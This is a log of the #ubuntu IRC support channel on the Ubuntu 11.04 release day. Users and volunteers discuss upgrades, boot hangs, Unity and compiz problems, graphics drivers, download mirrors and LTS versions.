[14:06] <pioruns_> Hi guys. I wanted to report an issue: when I boot Ubuntu 11.04, it stops loading. And doing nothing, until I press ENTER. It happen on boot screen (this bronze background, and nothing else, even Ubuntu logo). Where I should report it, which package to report (Launchpad?). I'm using Nvidia proprietary driver.
[14:06] <DirtyDawg> kk
[14:06] <zamba> Pici: lucid is the current LTS, right?
[14:06] <ImperialXT> zamba: 12.04
[14:06] <Pici> zamba: 12.04 (2012, April)
[14:06] <z0mbyk1d> how do i upgrade the server edition from maverick to natty??
[14:06] <zamba> aight
[14:06] <thien> which one should i choose to install ubuntu, ext3 or ext4?
[14:06] <z0mbyk1d> aptitude dist-upgrade doesn't do anything
[14:06] <Pici> z0mbyk1d: sudo do-release-upgrade
[14:06] <z0mbyk1d> ahh right
[14:06] <Pici> !dist-upgrade | z0mbyk1d
[14:06] <ubottu> z0mbyk1d: A dist-upgrade will install new dependencies for packages already installed and may remove packages if they are no longer needed. Please see !upgrade for the proper way to upgrade to a new version of Ubuntu.
[14:06] <z0mbyk1d> any gotchas with server pici?
[14:06] <z0mbyk1d> like, should I not do it?
[14:06] <zamba> does 11.04 include a kernel for running as domU on xen?
[14:06] <Pici> z0mbyk1d: I didn't have any issues here.
[14:06] <brianl> coz_, Its saying I can only do a partial upgrade?
[14:06] <coz_> z0mbyk1d,    try sudo apt-get  dist-upgrade
[14:07] <NerdPatrol> Hello ALL! I just woke up - Is Natty out yet?
[14:07] <z0mbyk1d> i dont use apt-get
[14:07] <coz_> brianl,  ooo
[14:07] <z0mbyk1d> i'll use do-release-upgrade
[14:07] <z0mbyk1d> thanks pici
[14:07] <coz_> brianl,  well right now I cant even get an update / upgrade,,, the servers are bogged down,, so hold on for a bit
[14:07]  * ImperialXT slaps NerdPatrol and points at the topic
[14:07] <z0mbyk1d> gonna be pissed if it breaks this system
[14:07] <SeRVeR01> NerdPatrol, it's out
[14:07] <pioruns_> Hi guys. I wanted to report an issue: when I boot Ubuntu 11.04, it stops loading. And doing nothing, until I press ENTER. It happen on boot screen (this bronze background, and nothing else, even Ubuntu logo). Where I should report it, which package to report (Launchpad?). I'm using Nvidia proprietary driver.
[14:07] <z0mbyk1d> it's my monitoring machine
[14:07] <z0mbyk1d> mysql, cacti, nagios, etc
[14:07] <brianl> coz_, Yeah, I guess that is the same problem I am having, it won't let me upgrade anything :D
[14:08] <brianl> coz_, E:Unable to correct problems, you have held broken packages. <-- error I am getting when trying to update
[14:08] <ImperialXT> I had to remove my ppa's
[14:08] <ubuntutryout777> good day. im on a LIVE CD right now, but i have no settings for compiz or any graphic effecs. no unity either. what can i do?
[14:08] <ImperialXT> from my update list
[14:09] <Soothsayer> sorry, back.
[14:09] <brianl> ImperialXT, ppa's?
[14:09] <coz_> brianl,  ok open synaptic package manager and under the "Edit"  menu   click   "fix broken packages"
[14:09] <ImperialXT> !ppa brianl
[14:09] <ImperialXT> !ppa | brianl
[14:09] <ubottu> brianl: A Personal Package Archive (PPA) can provide alternate software not normally available in the offical Ubuntu repositories - Looking for a PPA? See https://launchpad.net/ubuntu/+ppas - WARNING: PPAs are unsupported third-party packages, and you use them at your own risk.
[14:09] <HF_acid> ubuntutryout777: that's typical of the live cd, I'm not sure if you can force enable them, but after install unity and the like worked just fine
[14:11] <ubuntutryout777> HF_acid, you mean after you installed the ubuntu on harddrive, or do you have to install unity manually? i thought its on the ISO already.
[14:11] <brianl> coz_, Okay thanks, ill try again
[14:11] <brianl> ImperialXT, okay thank you
[14:11] <Soothsayer> I have two hard drives and I plan to dual boot Win 7 and Ubuntu.. I've heard that it's better (in terms of performance) to put both the operating systems on one drive and all data files on another
[14:11] <HF_acid> ubuntutryout777: after I installed on the harddrive, it's on the iso but I don't think it's enabled during livecd runs
[14:11] <Soothsayer> Is there really a considerable difference?
[14:12] <kaushal> hi
[14:12] <kaushal> whats the default Filesystem in 11.04 ?
[14:12] <dsathe> ext4
[14:12] <Pici> kaushal: ext4
[14:12] <Soothsayer> kaushal: ext4
[14:12] <Soothsayer> lol
[14:12] <[TK]D-Fender> Soothsayer: Well is something goes wrong with your boot drive you don't have to worry about the data on your other drive
[14:12] <trans> hello guys, how to get dash in full screen mode by default
[14:12] <dsathe> trans edit dconf
[14:13] <dsathe> dconf-editor
[14:13] <kaushal> is btrfs recommended ?
[14:13] <dsathe> gstreamer>unity>form factor
[14:13] <pioruns_> Hi guys. I wanted to report an issue: when I boot Ubuntu 11.04, it stops loading. And doing nothing, until I press ENTER. It happen on boot screen (this bronze background, and nothing else, even Ubuntu logo). Where I should report it, which package to report (Launchpad?). I'm using Nvidia proprietary driver. Can somebody answer me please?
[14:13] <dsathe> Kaushal no
[14:13] <Soothsayer> [TK]D-Fender: true. Though I'm talking about performance?
[14:13] <trans> oh, ok
[14:13] <kaushal> dsathe: Any specific reason ?
[14:13] <ubuntutryout777> Soothsayer, i think its always a good idea to have th operating system and data on different partitions/harddrives, reguardless of dual boot
[14:13] <trans> any updated themes for natty, old themes aren't working nice
[14:13] <Soothsayer> ubuntutryout777: ok.
[14:13] <pfarrell_> hi! is it possible to tell update-manager to download the packages for upgrading to natty now, and then use them to do the upgrade later?
[14:13] <[TK]D-Fender> Soothsayer: Having less simultaneous access on your drives should give higher performance
[14:13] <[TK]D-Fender> Soothsayer: Common logic
[14:13] <histo> avij: https://help.ubuntu.com/community/ZsyncCdImage?action=show&redirect=RsyncCdImage
[14:14] <konaya> pioruns_, try to disable the bootup screen and see on what it freezes.
[14:14] <zniavre> good afternoon
[14:14] <Soothsayer> [TK]D-Fender: so what locations would I mount on the other drive in Ubuntu ?
[14:14] <Soothsayer> the /home/ , /var/   ?
[14:15] <escott> kaushal, no it is very very beta
[14:15] <Psydoll> exit
[14:15] <aLky> guys, i get this error: After your package information was updated the essential package 'ubuntu-minimal' can not be found anymore
[14:15] <[TK]D-Fender> Soothsayer: normally Ubuntu will point them to /mnt automatically and you just click to mount from Nautilus
[14:15] <pioruns_> konaya, how to disable it? splash off or something, in GRUB?
[14:15] <zniavre> at startup unity session  tells me unity can't run due harware , but if i launch manualy 'unity --replace' unity starts but gnome-panel stays present
[14:15] <zniavre> what can i do please?
[14:15] <[TK]D-Fender> Soothsayer: Or /media .. I mix those up sometimes
[14:15] <Incarus6> zniavre, did you try unity-2d?
[14:16] <ActionParsnip> zniavre: what video chip do you use?
[14:16] <botcity> pioruns_, i am experiencing some similar problems i will be downloading the alternative cd tomorrow you may need to press f6 at the halt !
[14:16] <konaya> pioruns_, I don't know the exact procedure. Worse, I'm on my way out. Google it and/or get help from someone else. I think I pushed you in the right direction, though
[14:16] <Soothsayer> [TK]D-Fender: I didn't understand this "normally Ubuntu will point them to /mnt automatically and you just click to mount from Nautilus"
[14:16] <pioruns_> zniavre, kill gnome-panel app
[14:16] <ActionParsnip> aLky: is this a clean install or an upgrade?
[14:16] <aLky> upgrade
[14:16] <ubuntutryout777> hmm, does anyone know if theres a way to force effects and unity on LIVE run? i would like to try out before installing.
[14:16] <ActionParsnip> aLky: are you using natty?
[14:16] <Soothsayer> ubuntutryout777, [TK]D-Fender : my home directory should be on the data drive right ?
[14:17] <Flynsarmy> aLky: there were alot of issues on the issues page when doing upgrades
[14:17] <[TK]D-Fender> Soothsayer: My other drives were always visible in Nautilus.  I click and it auto-mounts and I'm just going through my partitions on it
[14:17] <ezl> where can i set the email addresses that apticron emails when updates are necessary?
[14:17] <ActionParsnip> ubuntutryout777: what video chip are you using?
[14:17] <pioruns_> thanks, konaya, botcity. Also in my foreign ubuntu forum I saw posts from people with same problem. I will investigate it later
[14:17] <trans> dsathe: installed dconf, what next
[14:17] <JohnFlux> Ubuntu 10.10 is telling me EVERY 5 MINUTES to update to Natsy!
[14:17] <[TK]D-Fender> [09:16]	Soothsayer	ubuntutryout777, [TK]D-Fender : my home directory should be on the data drive right ? <- up to you
[14:17] <JohnFlux> How do I tell it shut up? :)
[14:17] <dsathe> open dconf-editor
[14:17] <zniavre> Incarus6,  i do not like unity-2d
[14:17] <riktking> is natty released yet? ;-)
[14:17] <zniavre> ActionParsnip,  nvidia fx5500 173.14.30 drivers
[14:17] <aLky> ActionParsnip, not sure, it just came up asking me to upgrade. Flynsarmy I think i will just do a clean install then, thanks
[14:17] <ActionParsnip> JohnFlux: it's natty
[14:17] <Incarus6> zniavre, which graphic card are you using?
[14:17] <sacarlson> anyone having this problem php5-gmp:
[14:17] <html_inprogress> rrr there hers always been  a bit of problems with upgrading
[14:17] <sacarlson>   Depends: php5-common (=5.3.2-1ubuntu4) but 5.3.2-1ubuntu4.2 is to be installed
[14:17] <Incarus6> riktking, yes
[14:17] <[TK]D-Fender> Soothsayer: I use /home on my OS drive and I manually move what I want to my data drive.  I count my entire OS drive as being separate.
[14:18] <zniavre> pioruns_, it restarts
[14:18] <html_inprogress> hi yall
[14:18] <trans> dsathe: dconf-editor is not valid command
[14:18] <Soothsayer> [TK]D-Fender: I also want to do some database intensive development work. And I believe MySQL stores the database in /var , so where should I mount the /var ?
[14:18] <ubuntutryout777> ActionParsnip, i git a GTX460
[14:18] <[TK]D-Fender> Soothsayer: You don't have to keep stuff in /home
[14:18] <dsathe> go to desktop>unity
[14:18] <damiano__> hey guys
[14:18] <dsathe> change the form factor in drop down to
[14:18] <trans> then
[14:18] <damiano__> is there a package that block an user inside a directory ?
[14:18] <Necrocyber> hello anyone!!
[14:18] <dsathe> nretbook
[14:18] <Soothsayer> [TK]D-Fender: I see. I'm just used to seeing everything in /home .. like the documents, pictures, etc
[14:18] <dsathe> netbook
[14:18] <damiano__> example: user1 ---> /var/test
[14:18] <dsathe> n restart compiz
[14:18] <ActionParsnip> ubuntutryout777: then install nvidia-current then restart the X server, you will be able to run unity
[14:18] <pfarrell_> hi! is it possible to tell update-manager to download the packages for upgrading to natty now, and then use them to do the upgrade later?
[14:18] <dsathe> compiz --replace
[14:18] <[TK]D-Fender> Soothsayer:That's a personal choice.  I have always preferred to file things where *I* want them to be
[14:19] <brianl> I am using Natty, and for some reason I can't seem to find/get working lib32ncurses5-dev,is32-libs,lib32readline5-dev, or lib32z-dev? On 10.10 or 10.04 I was able to just apt-get install them but not on natty?
[14:19] <damiano__> so if i'm using user1 i cant read below /var/test
[14:19] <damiano__> is it possible?
[14:19] <dsathe> trans u need to install it
[14:19] <mah454> Hello ...
[14:19] <ActionParsnip> aLky: your call dude, all you need are the nvidia drivers installing
[14:19] <Incarus6> ActionParsnip, i thought Unity-3D isnt supported with proprietary nvidie drivers?
[14:19] <mah454> Where is ubuntu-11.04 DVDs ?
[14:19] <Soothsayer> [TK]D-Fender: So you are saying just keep the entire Ubuntu on one drive... and then use a partition from the data drive for all my data?
[14:19] <trans> yes
[14:19] <[TK]D-Fender> Soothsayer: For your DB question... I'd say put it on the drive where it will have the most % of free resources to itself
[14:19] <ActionParsnip> Incarus6: sure it is, if you have 3D accelleration you can run Unity
[14:19] <trans> dsathe : I installed just "dconf"
[14:19] <trans> now installing proper one
[14:20] <Soothsayer> [TK]D-Fender: won't that be the data drive?
[14:20] <[TK]D-Fender> [09:19]	Soothsayer	[TK]D-Fender: So you are saying just keep the entire Ubuntu on one drive... and then use a partition from the data drive for all my data? <- That is what I like to do.  Its a personal thing.  For me the OS is a tool, but my datat is sacred
[14:20] <coz_> mah454,   this is one link   http://cdimage.ubuntu.com/dvd/current/   but its for the daily build
[14:20] <ActionParsnip> mah454: http://cdimage.ubuntu.com/dvd/current/
[14:20] <ubuntutryout777> hmm i thought you can run unity without drivers. i mean i cant even run compiz. i was able to do so on my old system on older builds without drivers
[14:20] <dsathe> oops i used rsync to daily
[14:20] <Lungan> Is it possible to customize unity?
[14:20] <dsathe> is tht same as fink
[14:20] <[TK]D-Fender> [09:20]	Soothsayer	[TK]D-Fender: won't that be the data drive? <- for the case you've been describing, it sounds like "yes"
[14:20] <damiano__> no?
[14:20] <dsathe> lugan
[14:20] <ActionParsnip> coz_: its released today so won't it be the same thing?
[14:20] <dsathe> a little
[14:20] <Incarus6> ActionParsnip, acording to http://askubuntu.com/questions/21427/does-unity-require-proprietary-graphics-card-drivers it isnt.
[14:20] <coz_> ActionParsnip,  I didnt think so   thanks
[14:21] <Lungan> dsathe, How?
[14:21] <coz_> Lungan,   not sure  ,, depends on what you want to customize
[14:21] <dsathe> i wud recoment omgubuntu.co.uk and webupd8.org
[14:21] <dsathe> brillinat for all goodies info
[14:21] <Pici> !who | dsathe
[14:21] <dsathe> lugan
[14:21] <ubottu> dsathe: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[14:21] <Soothsayer> [TK]D-Fender: hmm.. so how should I keep the databases itself onto the other drive ... through a symlink ?
[14:21] <dsathe> in ccsm
[14:21] <damiano__> someone could hel me ?
[14:21] <Lungan> coz_, Would like to customize the bar at the top of the screen
[14:21] <damiano__> *help
[14:21] <coz_> Lungan,   the gnome panel... yes?
[14:22] <Soothsayer> I'm not sure.. if I don't mount /var to the data drive, then how do I make sure MySQL databases are actually on the data drive.
[14:22] <html_inprogress> aLky, thats the best, unless you want work ahead,and dont mind,  theres has been problems in the pasts with it upgrading ubuntu
[14:22] <Lungan> coz_, Yeah
[14:22] <coz_> Lungan,  well do you want to change its appearance or add applets to it?
[14:22] <damiano__> no ?
[14:22] <ActionParsnip> Incarus6: nowhere on that page does it say Unity isn't supported on proprietary drivers
[14:22] <Lungan> coz_, both
[14:22] <[TK]D-Fender> Soothsayer: That is certainly one way to do it.  I'm pretty sure you could change your configs to explicitly point elsewhere through... that is a DB config issue you'd have to actually look at their own docs for
[14:22] <ActionParsnip> Incarus6: its users saying if you want 3d effects you will need proprietary
[14:23] <aLky> thanks
[14:23] <zniavre> Lungan, you are allowaed to change the shadow of the top panel
[14:23] <Soothsayer> [TK]D-Fender: makes sense.
[14:23] <dsathe> Unity is definitely supported on nvid ia closed drivers
[14:23] <coz_> Lungan,   ok,, well to change its appearance you need to go to system/preferences/appearance  and hit the customize button,,, to add applets to it  just right click the panel    "Add to panel"  and choose from a list of available applets
[14:23] <_cory> has anyone tried 11.04 yet?
[14:23] <BluesKaj> Happy Release Day
[14:23] <trans> guys is 11.04 slow, it hangs whenevr I try to access dash, do I need to install unity 2d, I'm using P4 machine with 1 gb ram
[14:23] <Lungan> coz_, since upgrading to 11.04 nothing happens when rightklicking?
[14:24] <[TK]D-Fender> 20 mins until both 32/64 bit releases finish downloading here :)
[14:24] <larsemil> any way to disable meta button to open launcher?
[14:24] <ActionParsnip> Lungan: if you boot to regular desktop then make the unity bar you can change the top bar
[14:24] <html_inprogress> damiano__, yes
[14:24] <mah454> tnx :)
[14:24] <coz_>  Lungan  ooo,,, that's not good,, I assume you have already rebooted ,, probably several times... not sure then,, troubleshooting an upgrade as opposed to a clean install,, can sometimes be painful
[14:24] <Incarus6> ActionParsnip, ar, you are right. I found that and it says proprietary drivers are working: https://wiki.ubuntu.com/DemystifyingUnityGraphicsHardwareRequirements
[14:24] <ActionParsnip> trans: have you installed 3D drivers. also make sure you are fully upgraded
[14:25] <Lungan> coz_, Hmm ok, but maybe they will fix it in the future? Its not that i cant use thecomputer
[14:25] <ActionParsnip> Incarus6: :)
[14:25] <perlsyntax> does ubuntu 11.04 come with gnome 3.0?
[14:25] <LjL> perlsyntax: no
[14:25] <perlsyntax> good
[14:25] <DeathKnight> is natty being released today?
[14:25] <perlsyntax> :)
[14:25] <leagris> it is
[14:25] <DJones> DeathKnight: It has been
[14:25] <trans> ActionParsnip: I have installed nvidia drivers, nvidia 8400gs
[14:25] <coz_> Lungan,  oh  wow thats bad,, did you try to  change the session to  classic gnome?   see if there is a performance difference
[14:25] <Incarus6> ActionParsnip, "/usr/lib/nux/unity_support_test -p" is interesting
[14:25] <trans> ActionParsnip: I have installed nvidia drivers, nvidia 8400gs, 512mb
[14:25] <DeathKnight> DJones, wow.. and i missed it.
[14:26]  * Incarus6 still can't upgrade
[14:26] <trans> dsathe : Which key should I alter in dconf-editor
[14:26] <leagris> upgrading from OVH IPv6 mirror, hehe
[14:26] <coz_> trans,  you already rebooted after install the nvidia drivers ....yes?
[14:26] <Lungan> coz_, I will try. I like the new dock thought
[14:26] <perlsyntax> i hope there got perl 5.12.3
[14:26] <[TK]D-Fender> DeathKnight: No you haven't... it's still "released" ;)
[14:26] <ChaosR> compiz ain't working on 11.04 here, I have AMD catalyst drivers (latest),  glxinfo gives "X Error of failed request:  BadRequest (invalid request code or no such operation)"
[14:26] <dsathe> trans desktop>unity>formfactor
[14:26] <trans> coz_: yes, I upgraded today morning since then its slow
[14:26] <Lungan> coz_, But is there anywhere I can choose size and so on on the dock?
[14:26] <dsathe> just clik on it itll drop down
[14:26] <coz_> Lungan,  ok  well,, if your system cant handle it,,, and from you mentioned it should work fine,, you can in stall  unity-2d  ,,, by the way   which video card is on that system?
[14:26] <DeathKnight> [TK]D-Fender, thanks for sympathy. :D
[14:27]  * ugisozols just booted into 11.04
[14:27] <ubuntutryout777> ok installing nvidia drivers right now
[14:27] <aLky> whats a fast mirror? (downloading with 60k atm and i dont think its my connection)
[14:27] <Incarus6> stupid ugisozols got a working 11.04 -.- :D
[14:27] <rgr> one in a hundred is pretty good for a Ubuntu release.
[14:27] <Flynsarmy> how do i revert to proper gnome?
[14:27] <ugisozols> damn me :P
[14:27] <coz_> ubuntutryout777,  dont forget to reboot the system after installing that driver :)
[14:27] <bercik_> Will my ubuntu beta update to release version automaticly?
[14:28] <bazhang> bercik_, yes
[14:28] <Incarus6> Flynsarmy, choose gnome at startup / login screen
[14:28] <trans> dsathe : there is no form factor option inside unity, only options available are "devices","launcher","panel"
[14:28] <bercik_> bazhang: thanks
[14:28] <ubuntutryout777> reboot the system? on a LIVE system?
[14:28] <Flynsarmy> Incarus6: thanks
[14:28] <_cory> is it worth upgrading to 11.04?
[14:28] <dsathe> dconf-editor
[14:28] <dsathe> not gconf
[14:28] <ikonia> _cory: your call
[14:28] <rgr> Flynsarmy: you wouldnt think to check the login dialog options?
[14:28] <coz_> ubuntutryout777,  you are installing the nvidia driver on a live session?
[14:28] <Incarus6> bercik_, yes, with apt-get dist-upgrade
[14:28] <dsathe> its very much dere
[14:28] <Gawwad> Hello, I'm on Ubuntu 10.4 and wanting to upgrade to 11.4 as I just read it was released. However, it's not listed in the update manager after refreshing. (I have it set to normal releases) Only 10.10 is shown. Am I missing something?
[14:28] <Flynsarmy> rgr: i wouldn't. i would have figured it'd be in appearance settings
[14:28] <coz_> ubuntutryout777,   let me know if it works
[14:28] <ubuntutryout777> yes, since i want to tryout ubunto, not install it on HDD
[14:29] <trans> dsathe : sorry for my dumb question, I got it
[14:29] <rgr> its far more than appearance its the entire DE.
[14:29] <_cory> ite I'm going for it lol
[14:29] <ubuntutryout777> ubuntu*
[14:29] <DJones> Gawwad: You have to upgrade to 10.10 before you can upgrade to 11.04
[14:29] <html_inprogress> hi
[14:29] <Flynsarmy> rgr: in addition search for 'unity' and you get a little window called 'launcher & menus' with 2 options on it. why was that not also in appearance. seems very hidden away
[14:29] <ecolitan> hello, is it possible to do the upgrade from the commandline?
[14:29] <Gawwad> Ok, thanks! Was sure you were able to upgrade from long term version to another :)
[14:29] <Pici> Gawwad: 11.04 is not LTS
[14:29] <DJKorbit> hi
[14:29] <html_inprogress> hio
[14:29] <Pici> ecolitan: Yes, do-release-upgrade.
[14:30] <ecolitan> ty Pici
[14:30] <DJones> Gawwad: You can from LTS to LTS, but 11.04 is a normal release and not an LTS
[14:30] <DJKorbit> i'm having trouble starting unity by default, even when choosing "Ubuntu" from gdm combobox
[14:30] <Gawwad> Oh, I thought all the x.04's were long term
[14:30] <Incarus6> Pici, that is also working with the desktop edition?
[14:30] <DJKorbit> how can i set unity as default?
[14:30] <Pici> Incarus6: Yes.
[14:30] <DeathKnight> so it doesn't come with gnome3... why?
[14:30] <Incarus6> Pici, thx
[14:30] <trans> ActionParsnip: whenever I click on dash it takes about 3 seconds for the dash to launch
[14:30] <html_inprogress> unity,whats that?
[14:30] <coz_> Gawwad,  no next lts is 12.04   april of 2012
[14:30] <rgr> because Ubuntu is branching more and more from mainline Linux desktops.
[14:31] <Gawwad> Thank you coz_
[14:31] <ubuntutryout777> ok, whats the command to restart x server?
[14:31] <DJones> Gawwad: 6.06, 8.04, 10.04 were LTS, about every 2 years between LTS versions
[14:31] <rgr> html_inprogress: a buggy attempt by canonical to tie people to Ubuntu.
[14:31] <Schoentoon> ubuntutryout777: usually sudo /etc/init.d/gdm restart does the trick.
[14:31] <tieinv> 47b5d74bfe8352e95b9699
[14:31] <Pici> rgr: Lets try to stay on-topic here. this is a support channel.
[14:31] <ghufran> hi. i cannot download the latest release. link i get appears to be broken
[14:31] <ghufran> http://mirror-cybernet.lums.edu.pk/pub/ubuntu-releases//natty/ubuntu-11.04-desktop-amd64.iso
[14:31] <DeathKnight> i got problem with xorg in my laptop for ubuntu greater than 8.10 ... so am using backtrack right now.... even ubutnu 8.04 has problems. :(
[14:31] <dsathe> Schoentoon: kill x
[14:31] <coz_> Gawwad,  no problem ,, if you prefer LTS  then dont bother moving to this release,,
[14:32] <dsathe> go to tty
[14:32] <rgr> Pici: he asked a Q as to what unity is. I answered.
[14:32] <ghufran> is there any other mirror i can try?
[14:32] <Gawwad> So 10.4 is LTS but 11.4 is normal? But upgrading from 8.04 to 10.04 would work then?
[14:32] <ubuntutryout777> why does everything need to be so cryptic in the linux world :/
[14:32] <robertf> hello
[14:32] <Pici> Gawwad: Yes.
[14:32] <Schoentoon> dsathe: Not really a safe solution, but it can do the trick :P
[14:32] <Pici> !ot | ubuntutryout777
[14:32] <ubottu> ubuntutryout777: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[14:32] <Gawwad> No I prefer the newest :)
[14:32] <robertf> i'm seeding 11.04 by torrent :)
[14:32] <Incarus6> DeathKnight, I remember 8.04 as unusuable ;)
[14:32] <dsathe> tty is safe olright
[14:32] <whoodat> Is there a page that shows known problems with hardware for 11.04?
[14:32] <DeathKnight> Incarus6, may i know why?
[14:32] <Gawwad> Thank for all the info, Pici, coz_ DJones! Bye
[14:32] <coz_> Gawwad,  yes and you can upgrade to 12.04  when it is release,, a direct upgrade from 10.4  ot 12.04
[14:32] <coz_> to
[14:32] <greg_72> hi there how can I query that a given file belongs to which package?
[14:32] <DeathKnight> Incarus6, or are you referring it is unusable now? :D
[14:33] <jatt> greg_72: dpkg -S
[14:33] <z0mbyk1d> how do i put something in a bash script that will run in parallel? for instance i have a script where i use mail to send a notice, but i don't want the parent script to get hung up with any problems
[14:33] <Incarus6> DeathKnight, no, 8.04 was unusable. I was using Debian at that time. It got better with 8.10
[14:33] <rgr> z0mbyk1d: google. "&".
[14:33] <z0mbyk1d> i want to be able to have the script exit but this mail task still be running if need be
[14:33] <h3roo> in term of CHMOD, SUID and SGID what does it meens? >>>>> 7000 >> in need the letters??????
[14:33] <z0mbyk1d> oh it's that simple?
[14:34] <aLky> found a fast mirror (university of kent)
[14:34] <ghufran> can anyone give me a working link to download 64bit 11.04 ? the only link i get from my location is broken..
[14:34] <rgr> yes. #bash.
[14:34] <DeathKnight> Incarus6, ok. i dont know.. the bt i am currently using is based on 8.10. performance is ok but KDE is bit irritating.
[14:34] <z0mbyk1d> thanks rgr
[14:34] <jatt> !mirror
[14:34] <ubottu> Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Maverick, and help keeping the servers' load low!
[14:34] <Incarus6> someone know that error (I know it is german): 2011-04-28 13:45:38,575 ERROR Dist-upgrade failed: 'E:Fehler: Unterbrechungen durch pkgProblemResolver::Resolve hervorgerufen; dies kÃ¶nnte durch gehaltene Pakete verursacht worden sein.'
[14:35] <z0mbyk1d> INFO: using unknown version '/usr/bin/python2.7' (debian_defaults not up-to-date?)
[14:35] <narf_> erm, finding quite a few bugs with this new ubuntu... if I minamize things, where does it 'go'
[14:35] <z0mbyk1d> saw this during my release-upgrade ^
[14:35] <narf_> Also most apps don't know how to install in the new 'launcher'
[14:35] <rgr> Incarus6: you're German?
[14:35] <Incarus6> rgr, correct. should I translate?
[14:35] <html_inprogress> rgr, what ever it is if you or some dont like it do something about it, this isnt "ms"
[14:35] <dob1> what a fail unity
[14:36] <rgr> Looks like dependency issues from here.
[14:36] <dsathe> dob1: its bettr of then shell
[14:36] <Lungan> Is it possible to change the size of the dock unity?
[14:36] <dsathe> at least for now
[14:36] <dsathe> lugkhast:
[14:36] <dsathe> srry
[14:36] <rgr> html_inprogress: what are you ranting about? Whats ms got to to with it? I am a FOSS programmer.
[14:36] <dsathe> Lungan:
[14:36] <Incarus6> rgr, yeah but Im not sure which package is causing that issue. Im installing ubuntu-desktop right now and hope that fixed it
[14:36] <Winkie> hey guys, i'm installing ubuntu through FAI, and it's currently hanging on 'updating the system logo'
[14:36] <dsathe> yess
[14:36] <Winkie> it shows the logo, but doesn't proceed any further into boot
[14:36] <dsathe> icon size in ccsm
[14:36] <Winkie> any suggestions on how to debug it?
[14:36] <coz_> Lungan,   as I recal  I dont think so,, there were plans to have it able to move anywhere on the screen but I think that was not included either
[14:37] <Lungan> coz_, Hmmm okey, there really is room for making the dock awesome in unity
[14:37] <dob1> dsathe: it's better the classic desktop, i know you can choose but don't put it as default if you want to make linux popoular, it's a fail
[14:37] <dsathe> hmm
[14:37] <dsathe> huge debate
[14:37] <coz_> Lungan,   I agree,, but I prefer cairo dock :)
[14:37] <dsathe> there
[14:37] <Flynsarmy> i thought i recalled a video on omg ubuntu where the left bar would disappear and only start appearing if you dragged your window near it. however i can't get it to disappear without maximizing my current window (a bad idea on a 24" monitor). any ideas?
[14:38] <Lungan> coz_, Cairo? I will check that ou
[14:38] <Incarus6> rgr, Do you know a way to find out, which packages are "hold"
[14:38] <rgr> is ubuntu with Unity as a default called UUbuntu? Ubuntu by definition is a gnome distro.
[14:38] <dsathe> Flynsarmy: yep autohide opts
[14:38] <coz_> Lungan,   cairo-dock    it should be in the repository
[14:38] <Flynsarmy> dsathe: how do you get to them?
[14:38] <dsathe> it is
[14:38] <Lungan> coz_, okok brb
[14:38] <jatt> not anymore
[14:38] <dob1> i don't understand, ubunty has a community, why they choice to put unity as default?  i don't think the community agree to this
[14:38] <jatt> ubuntu is now a unity distro
[14:38] <jatt> they should create a new distribution gubuntu
[14:39] <dsathe> Flynsarmy:
[14:39] <DeathKnight> gubuntu?
[14:39] <dsathe> in ccsm
[14:39] <rgr> No. They should leave it as it is and give a special name to the Unity distro.
[14:39] <jatt> lol
[14:39] <dsathe> unity plugin
[14:39] <bazhang> !ot | jatt rgr
[14:39] <ubottu> jatt rgr: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[14:39] <dsathe> compiz is beter den mutter
[14:39] <coz_> jatt,  a new version  named   GTR  will be available at some point.. not through canonical,, it is   ubuntu gnome remix,, with gnome3 as default
[14:39] <dob1> they ruin the good work of the last years inho
[14:39] <dsathe> so disable unity if u dun like it
[14:39] <dsathe> its ony a plugin
[14:39] <bazhang> dob1, thats enough
[14:39] <rgr> bazhang: we are discussing ubuntu issues. Unity is one such.
[14:39] <pfarrell_> hi! is it possible to tell update-manager to download the packages for upgrading to natty now, and then use them to do the upgrade later?
[14:40] <bazhang> rgr, wrong place for it.
[14:40] <z0mbyk1d> pfarrell_: not that ive seen
[14:40] <jrib> rgr: this channel is meant for ubuntu *support*, #ubuntu-offtopic is a good place to discuss unity
[14:40] <z0mbyk1d> but maybe
[14:40] <dob1> dsathe: the normal user, the one that try linux for the first time doesn't understant what is that unity, it doesn't know how to disable, it saw this = this is linux
[14:40] <rgr> Why is it that the people with the least to contribute are the ones that chuck around the ops threats and power the most. Everything was perfectly friendly.
[14:40] <narf_> ok guys honestly this new ubuntu layout is screwed... anyway i can go back to the old layout... I can't find jack shit this way, things just 'dissapere'
[14:40] <Incarus6> How can I found out which packages are "hold" (or locked?) ?
[14:40] <asmogator> hello
[14:40] <dsathe> dob1: given
[14:40] <Flynsarmy> dob1: lol i've been using ubuntu for many years and i didn't know how to disable unity until someone told me
[14:40] <asmogator> does someone know a dyndns client for ubuntu on command line ?
[14:41] <Flynsarmy> dob1: i couldn't even figure out how to open the pidgin contact list - turns out its hidden away under the envelope icon
[14:41] <dob1> i don't get it, there was like a pool, a discussion about this,  how this come out?
[14:41] <LALALLAA> hi
[14:41] <nick> hi all
[14:41] <DJones> !info dyndns | asmogator
[14:41] <ubottu> asmogator: dyndns (source: dyndns): dynamic DNS (DDNS) update client implemented in Perl. In component universe, is optional. Version 2010.0301+gitdd160bd-2 (natty), package size 64 kB, installed size 288 kB
[14:41] <Incarus6> Flynsarmy, pidgin isn't the default IM software anymore
[14:42] <JoshuaL> asmogator, https://help.ubuntu.com/community/DynamicDNS
[14:42] <coz_> asmogator,  maybe read here?  https://help.ubuntu.com/community/DynamicDNS
[14:42] <coz_> :)
[14:42] <Flynsarmy> Incarus6: i know but the bundled one is useless in every possible way
[14:42] <Guest31762> I have a second hard drive from OSX as my second drive and everything works but work let me write anything. I have tried alot to get the filepermissions fixed. The last thing is it says ivalid partion table
[14:42] <asmogator> THANK YOU :)
[14:42] <phoque_uni> wow, the Natty GUI is choppy as hell
[14:43] <Flynsarmy> phoque_uni: wait until you try to alt+tab
[14:43] <narf_> phoque_uni, how can I go back to the old look
[14:43] <z0mbyk1d> lol
[14:43] <coz_> phoque_uni,   out of curiosity,, which video card do you have ?
[14:43] <Incarus6> Flynsarmy, its the same in KDE, KDE doesn't want you to use any other instand messenger then Kopete
